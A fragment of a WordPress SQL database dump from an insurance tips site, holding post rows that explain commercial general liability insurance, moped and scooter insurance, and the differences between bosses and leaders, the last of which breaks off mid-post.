(3792,1,'2024-01-29 23:18:29','2024-01-29 23:18:29','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3791,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/01/Untitled-57-1024x1024.png\" alt=\"\" class=\"wp-image-3791\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0\">What Is Commercial General Liability Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-1\">Commercial general liability (CGL) insurance is a type of policy that provides coverage to a business for bodily injury, personal injury, and property damage caused by the business’s operations, products, or injuries that occur on the business’s premises.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-3\">Commercial general liability insurance is considered comprehensive business insurance, though it does not cover all risks that a business may face.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block-callout-heading_1-0\">KEY TAKEAWAYS</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Commercial general liability insurance is a form of comprehensive insurance that offers coverage in case of damage or injury caused by a business’s operations or products, or on its premises. </li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>There are two types of CGL policies: a claims-made policy that covers claims regardless of when the event took place, and an occurrence policy where the event must take place during a set period.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Companies can add other companies or individuals they contract with to their commercial liability insurance policy as an “additional insured.”</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Commercial general liability policies may cover the cost of any accidental damages as a result of the business\' operations or the legal costs of defending a suit.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Commercial general liability does not provide protection against intentional damages, or any type of accident involving automobiles, aircraft, or watercraft.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-7\">Understanding Commercial General Liability Insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-8\">Premises Coverage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-9\">Commercial general liability policies have different levels of coverage. A policy may include premises coverage, which protects the business from claims that occur on the business’s physical location during regular business operations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-11\">It may also include coverage for bodily injury and property damage that is the result of a finished product or service done at another location.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-13\">Excess Liability Coverage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-14\">Commercial insurance companies also sell excess liability coverage, which can be purchased in order to cover claims that exceed the limit of the CGL policy.3 Some commercial general liability policies may have exclusions that restrict what actions are covered. For example, a policy may not cover the costs associated with a product recall.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-16\">Claims-Made vs. Occurrence Policy</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-17\">When purchasing commercial general liability insurance, it is important for the business to differentiate between a claims-made policy and an occurrence policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-19\">A claims-made policy provides coverage for whenever a claim is made, regardless of when the claim event happened. An occurrence policy covers claims where the claim event occurred during the time of the policy even if the policy is now expired.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-21\">Other Types of Policies</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-22\">In addition to commercial general liability policies, businesses may also purchase policies that provide coverage for other business risks.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-24\">For example, the business may purchase employment practices liability coverage to protect itself from claims associated with sexual harassment, wrongful termination, and discrimination. It may also purchase insurance to cover errors and omissions made in financial reporting statements, as well as coverage for damages, resulting from the actions of its directors and officers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Warning: A typical commercial general insurance policy covers accidental damage or injuries but does not cover injuries that are intentional or could be expected to happen.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-28\">Special Considerations&nbsp;</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-29\">Depending on its business needs, a company may need to name other companies or persons as \"additional insured\" under its commercial liability insurance policy. This is common when businesses enter into a contract with another entity.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-31\">For example, if an automobile repair garage enters into a contract with ABC Co. to have the latter provide cleaning services for its facility, ABC Co. may require the garage owners to add ABC Co. as \"additional insured\" on its commercial general liability coverage policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-33\">Examples of Commercial General Liability</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-34\">Some examples that would require CGL include the following:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-36\"><!-- wp:list-item -->\n<li>A customer enters a place of business where the floors have recently been cleaned and polished, and as a result, are very slippery. The customer slips on the floor and breaks a leg.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>One of the employees of an electrical company visits a home for an electrical wiring job and accidentally causes a fire in the customer\'s home.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>An advertisement placed by the business results in an individual claiming libel or slander.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-38\">In each of these cases, a commercial general liability policy might cover the cost of hiring lawyers to defend the company or the cost of settling the claims. If a business has frequent claims against its CGL insurance, the insurer might raise the premium costs of the policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What Damages Does CGL Insurance Cover?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Commercial general liability insurance covers injuries to a person or property damage that occurs on the premises of a business. This type of policy can also protect a business from claims of slander, libel, or advertising injury.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How Much Does Commercial General Liability Insurance Cost?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Naturally, the cost of commercial general liability insurance depends on the size of the business being insured, the riskiness of its business operations, and the amount of coverage needed. Some insurers say that their clients pay between $300 and $600 for a million dollars of insurance coverage. Others say their clients may pay as much as $1,000.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What Is Not Covered Under Commercial General Liability Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Most CGL policies do not cover intentional or expected damage by the insured. They also do not cover damages due to intoxication (in alcohol-related businesses), pollution, automobiles or other vehicles, damage to a business\' work, or additional liabilities that the insured might take on. A business that is involved in these types of risks should purchase additional insurance in order to be fully covered.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-46\">The Bottom Line</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-47\">You can protect your business from a variety of risks, including the risk of a lawsuit arising from everyday business activities, with the purchase of a commercial general liability policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-49\">CGL policies cover claims of property damage, personal injury (such as libel or slander), bodily injury, and advertising injury. This coverage will help you pay attorney fees or settlement costs in the event of a lawsuit. And you can augment your coverage with extensions that cover errors and omissions, excess liability, or employment practices liability.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-51\">You can\'t predict what will happen in the future, but you can cover your business and reduce your risk with a CGL policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.investopedia.com/terms/c/commercial-general-liability-cgl.asp\">click here.</a></p>\n<!-- /wp:paragraph -->','What Does Commercial General Liability (CGL) Insurance Cover?','','inherit','closed','closed','','3790-revision-v1','','','2024-01-29 23:18:29','2024-01-29 23:18:29','',3790,'https://smartinsurance.tips/?p=3792',0,'revision','',0),(3793,1,'2024-01-29 23:22:20','2024-01-29 23:22:20','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3794,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/01/rsz_1untitled_58.png\" alt=\"\" class=\"wp-image-3794\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Mopeds and scooters can make commuting a breeze. With small engines and compact frames, you can zip around town without guzzling gas or struggling to find a good parking spot.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But for all the convenience of a moped or scooter, it could come with an extra cost: You may need to buy insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Are There Differences Between Scooter Insurance and Moped Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>There are no fundamental differences between scooter insurance and moped insurance. Because both mopeds and scooters are two-wheeled vehicles, they both fall under the motorcycle insurance category with most insurance companies.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Insurance needs for a moped or scooter generally align—even if the specifications of the vehicle differ.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">What Is the Difference Between a Moped and Scooter?</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Mopeds and scooters are both small, two-wheeled vehicles powered by gasoline engines, but the maximum speed and engine size vary. State law definitions of mopeds and scooters can differ, so look to your state’s department of motor vehicles (DMV) for clarification.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In general, the key differences between mopeds and scooters are:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Mopeds</strong>&nbsp;typically have an engine that is up to 50 cubic centimeters (50cc) and are not intended for highway travel. Top speed usually does not exceed 30 mph.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Scooters</strong>&nbsp;often have larger engines that exceed 50cc (sometimes up to 250cc) and the most powerful ones can reach speeds up to 75 mph. You may not be able to ride your scooter on a highway, depending on your state’s engine size and horsepower minimums.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Mopeds and scooters should not be confused with the e-scooters commonly seen on the streets and sidewalks of many U.S. cities. E-scooters are typically battery-powered, don’t require a driver’s license and often can’t surpass 15 to 20 mph. Since e-scooters require users to stand, they may be excluded from moped, scooter and motorcycle insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Do I Need Moped or Scooter Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Most states require you to carry liability insurance to ride your moped or scooter on public roads if it has an engine size of 50cc or larger or can reach a top speed of 30 mph or more. If your moped is under 50cc or cannot reach 30 mph, you will most likely not be required to get insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A car insurance policy isn’t suitable for a moped or scooter. Most insurance companies cover mopeds and scooters under their motorcycle insurance policies, though some insurers offer separate policies for mopeds or scooters. If you lease or finance a moped or scooter, the lender or leasing company will likely require that you insure it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Does Your State Require Moped or Scooter Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Not every state requires moped or scooter insurance. For example, Arizona, Pennsylvania and Texas require moped or scooter insurance, but Florida does not.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Some state insurance laws are more complicated, such as California, and may require insurance for a scooter but not a moped. And other states base insurance mandates on specific factors, such as the vehicle’s top speed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, New York has separate classes for mopeds and scooters—which it places both under the banner of “limited-use motorcycles”—based on the vehicle’s top speed range. Depending on where your moped or scooter falls determines if it needs insurance, as well as other items, like where it may be driven.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To learn what the laws are in your state, you can:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Check with your auto insurance company or insurance agent.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Contact your state’s department of insurance.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Contact your state’s department of motor vehicles.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What Does Moped and Scooter Insurance Cover?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Moped and scooter insurance generally includes coverage types similar to motorcycle and car insurance, such as:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Bodily Injury and Property Damage Liability</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Moped and scooter bodily injury liability insurance covers injuries you accidentally cause others in an accident. Property damage liability pays for damage you accidentally cause to someone else’s property, such as a car, fence or pole.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Collision and Comprehensive Insurance</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Collision and comprehensive insurance are separate, optional coverage types, but are often sold together. If you have a lease or loan on your moped or scooter, your leasing company or lender will likely require you to carry these coverage types.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Collision insurance pays for repairs if your moped or scooter is damaged in an accident, regardless of fault.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Comprehensive insurance covers problems such as theft and damage to your moped or scooter from vandalism, flood, fire, falling objects or striking an animal.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Carried Contents and Belongings</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Carried contents and belonging coverage pays if your belongings are damaged, stolen or lost while you’re riding the moped or scooter.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Medical Payments</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Medical payments coverage, also known as MedPay, covers medical bills and funeral costs for you or your passengers if you’re in an accident, no matter who was at fault.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Uninsured or Underinsured Motorists</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Uninsured motorist insurance pays for you and your passengers’ medical bills, lost income and other expenses if someone crashes into you and they do not have liability insurance. Underinsured motorist insurance pays for your injuries if the at-fault driver does not have adequate liability insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Moped and Scooter Insurance Discounts</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>When you insure a moped or scooter you may be able to score a discount such as:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Multi-policy discount.</strong> Bundling insurance is when you buy two or more policies from one insurance company and get a discount. You may be able to bundle moped or scooter coverage with another insurance type, such as auto, home, RV or boat insurance.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Multi-vehicle discount.</strong>&nbsp;When you insure more than one vehicle, such as a car, motorcycle, moped, ATV or snowmobile, you might get a discount. You may also qualify for a multi-vehicle discount if you insure at least two mopeds or scooters.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Safety discount.</strong>&nbsp;If you take an approved moped or scooter safety course, you may be able to pick up a discount.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Storage discount.</strong>&nbsp;Some companies give discounts if you keep the moped or scooter in a garage.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How Much Is Moped and Scooter Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Moped and scooter insurance can be as cheap as $4 to $6 per month.</strong> For example, scooter insurance through Progressive is as low as $75 a year for basic liability insurance. A company called Voom sells pay-per-mile coverage for mopeds and scooters that it says costs as little as $50 a year. Those prices are inexpensive compared to how much motorcycle insurance costs, which is an average of $178 per month, according to Forbes Advisor’s analysis.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Pro Tip:</strong> To find the best deal on moped and scooter insurance, compare quotes from multiple insurers—starting with your current insurance company for car, home or renters insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Your cost for moped and scooter insurance depends on factors such as:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Coverage you choose</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Driving record</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Engine size</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Location of your home</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Mileage</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Model, make and vehicle year of moped or scooter</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Years of riding experience</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Your age</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Do I Need Insurance If I Rent a Moped, Scooter or E-Scooter?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Insurance laws vary by location regarding mopeds, scooters and e-scooters insurance, so depending on the state and city you’re renting in, you may need insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Before hopping on a rented moped, scooter, e-bike or e-scooter, review the rental agreement’s terms of service to see if any insurance is provided or if you’re left personally liable and responsible if you don’t buy your own insurance. Ask for clarification if you’re uncertain about whether insurance is required and what—if any—coverage is included with the rental contract.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For instance, the Texas Department of Insurance notes some cities in Texas require scooter rental companies to have insurance coverage, but this mainly covers damage to public property, not injuries or other property damage, like damage to a vehicle you crash into.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Will My Car Insurance Cover a Rented Moped, Scooter or E-scooter?</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Don’t assume your car insurance will extend to a rental of a moped, scooter or e-scooter, as most likely it will not.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>While car insurance coverage usually extends to a rental car, it doesn’t typically cover a rented motorcycle, moped, scooter or e-scooter. That’s because these vehicles have fewer than four wheels.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Will Motorcycle Insurance Cover a Rented Moped, Scooter or E-scooter?</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Yes, it might. Some insurance companies extend motorcycle insurance coverage to rentals of other two-wheeled vehicles. For example, with Foremost’s Elite motorcycle insurance package a rental motorcycle or moped is covered under the policy’s enhanced rental coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you need insurance for a rented two-wheeled vehicle and have a personal motorcycle, moped or scooter insurance policy, contact your insurance company to verify what coverage will extend to rentals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A motorcycle insurance policy (or one for a moped or gas-powered seated scooter) likely won’t extend to an electric scooter because it’s not a two-wheeled vehicle and you stand on the e-scooter.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.forbes.com/advisor/car-insurance/moped-and-scooter-insurance/\">click here.</a></p>\n<!-- /wp:paragraph -->','What To Know About Moped And Scooter Insurance','','publish','closed','closed','','what-to-know-about-moped-and-scooter-insurance-2','','','2024-01-29 23:22:20','2024-01-29 23:22:20','',0,'https://smartinsurance.tips/?p=3793',0,'post','',0),(3794,1,'2024-01-29 23:19:55','2024-01-29 23:19:55','','rsz_1untitled_58','','inherit','closed','closed','','rsz_1untitled_58','','','2024-01-29 23:19:55','2024-01-29 23:19:55','',3793,'http://smartinsurance.tips/wp-content/uploads/2024/01/rsz_1untitled_58.png',0,'attachment','image/png',0);


INSERT INTO `smart_posts` VALUES (4067,1,'2024-05-20 03:31:25','2024-05-20 03:31:25','<!-- wp:paragraph -->\n<p>There are crucial differences between bosses and leaders, so it’s crucial to analyze your leadership style to ensure you’re effectively steering your team in the right direction.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4068,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-10-1024x1024.png\" alt=\"\" class=\"wp-image-4068\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Being promoted to a management role is a huge accomplishment, but many professionals find the responsibility more challenging than they imagined. Being someone’s boss doesn’t necessarily mean you’re a good leader.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Effective leadership is increasingly essential in the workplace, as more and more employees leave otherwise excellent companies over one resolvable element – bad bosses. According to a study by GoodHire, 82% of all surveyed professionals would potentially quit their job because of a bad boss. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are crucial differences between bosses and leaders, so it’s crucial to analyze your leadership style to ensure you’re effectively steering your team in the right direction.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Did you know?</strong> Even people who start out with less effective management skills can modify their behavior to become good leaders.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What are the differences between a boss and a leader?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>According to the father of modern management, Peter Drucker, above all else, all business managers must be leaders. But when many professionals step into management or supervisory roles, they wonder, “What are the qualities of a boss versus a leader?” </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We spoke with leadership experts to discover five crucial differences between the two.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As you read the following comparisons, reflect on your actions to determine where you fall.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">1. Bosses command; leaders influence.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>According to Sue Andrews, business and HR consultant at KIS Finance, a key difference is that a boss’s authority comes from their position. In contrast, a leader’s authority comes from their ability to influence others.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“A boss is there to ensure that employees follow the rules of an organization, but a leader will encourage others to think for themselves to achieve the desired ends,” Andrews said. “A boss will need to give orders to instruct others what to do, but a leader can inspire others to find the best way forward, whilst motivating them to maximize their potential.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although subordinates follow bosses only because they have to, bosses can grow their influence through encouraging behavior, added Ken Gosnell, founder of CEO Experience. “You can grow your influence by caring for your team, listening to their thoughts and ideas, and sharing the ‘why’ behind the decisions and actions that you take. This is the second step in leadership, but it makes all the difference, and people will follow you because they want to, and not just because they have to.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">2. Bosses explain; leaders inspire.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>You shouldn’t just explain a task and leave it in your employee’s hands. According to Christine Macdonald, director of The Hub Events, a boss ensures you understand your work, while a leader supports and guides you through it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“The biggest difference between a leader and a boss is that a good leader inspires people and makes them excited about their work,” she said.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Success takes passion; without the desire to complete tasks, workers won’t be as driven to give their best performances. As their leader, you should motivate them by letting them know the importance of their work.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">3. Bosses discipline; leaders mentor.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Employees are human, and mistakes are to be expected. Who you are as a boss is evident in how you deal with mishaps. While bosses are more likely to use a reward-and-punishment system to discourage poor behavior, great leaders understand that employees benefit from encouragement and mentorship. If an employee performs well in a specific line of work, that strength should be recognized and mastered.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“One key element of leadership is the ability to harness the talents of others to achieve a common goal,” Macdonald said.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s essential to note each employee’s strengths and weaknesses and mentor them independently. Rather than attacking skill gaps, work to patch them by guiding employees through their shortcomings and building their confidence in new areas.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Tip:</strong> To become a better mentor, listen, communicate, offer constructive feedback, delegate, and practice empathy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">4. Bosses delegate tasks; leaders delegate authority.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A boss focuses on their department’s objectives and stringently follows protocol to achieve those goals. They think for the short term, delegate tasks to their subordinates and tend to micromanage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Executive and leadership coach Christina J. Eisinger says a boss has key objectives to meet, while a leader sets the team’s long-term vision and uses it as “a key motivator.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“A boss gets results by telling people what to do and is concerned with doing it right,” she said. “A leader is skilled at results by enabling their team to figure out what to do and is concerned with doing what is right.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Andrews added that leaders seek to drive commitment by setting an example for others to follow and inspire others by encouraging development. “They are comfortable delegating authority and avoid micromanaging, preferring to see others develop. Utilizing their excellent communication and negotiation skills, they will influence others for the overall benefit of the organization.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Did you know?</strong> According to the GoodHire survey, most U.S. workers are most irritated by a manager who is overbearing and micromanages – qualities that can significantly influence their decision to quit their job.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">5. Bosses are above the team; leaders are part of the team.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A boss doesn’t take the time to get to know their employees as a leader does. Eisinger said that bosses view their team members as subordinates, while leaders let go of this hierarchical distinction and view their team members as equal contributors.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To be a leader, it’s essential to facilitate positive relationships with your employees. Work with their needs and create a culture that encourages open communication.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“By getting to know your team better, you’ll be able to understand how to explain your vision in a way that will really connect with each person,” Macdonald said. “This means you can personalize the way you motivate people.”</p>\n<!-- 